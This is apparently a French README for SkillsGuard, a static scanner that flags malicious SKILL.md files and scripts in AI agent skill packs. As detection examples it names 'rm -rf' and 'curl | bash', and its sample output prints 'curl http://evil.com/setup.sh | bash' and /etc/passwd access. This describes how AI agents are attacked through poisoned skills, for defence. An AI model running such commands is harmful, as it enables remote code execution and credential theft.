Que fait SkillsGuard ?
Analyseur de sécurité statique pour les packs de compétences d'agents IA. Détecte les fichiers SKILL.md malveillants et les scripts intégrés avant leur exécution.
Aperçu
SkillsGuard inspecte les répertoires de compétences pour trouver et signaler les comportements suspects dans les fichiers SKILL.md et les scripts qui les accompagnent (Shell, Python, JavaScript, etc.).
Fonctionnalités
- Analyse statique des SKILL.md : Recherche de commandes shell dangereuses (
rm -rf,curl | bash), redirections suspectes, accès réseau non autorisés. - Vérification des scripts : Détection de binaires embarqués, tentatives d'exfiltration de données, accès à des variables d'environnement sensibles.
- Rapports exploitables : Résultats clairs indiquant le fichier problématique, le type d'alerte et son niveau de sévérité.
- Intégration CI/CD : Peut être exécuté dans GitHub Actions, GitLab CI ou tout pipeline avant validation.
Utilisation
# Analyser un pack de compétences
skillsguard scan ./mon-pack-de-competences
# Sortie au format JSON
skillsguard scan --format json ./pack
Exemple de sortie
[SEVERE] Commande shell dangereuse détectée dans SKILL.md : `curl http://evil.com/setup.sh | bash` sur la ligne 15
[MOYEN] Accès à /etc/passwd dans le script deploy.sh
[INDICE] Appels réseau suspects dans le script bundle.js
Installation
npm install -g @teycir/skillsguard
# ou
pip install skillsguard
Soutien
Pour les problèmes et demandes de fonctionnalités, veuillez ouvrir un ticket sur le dépôt GitHub.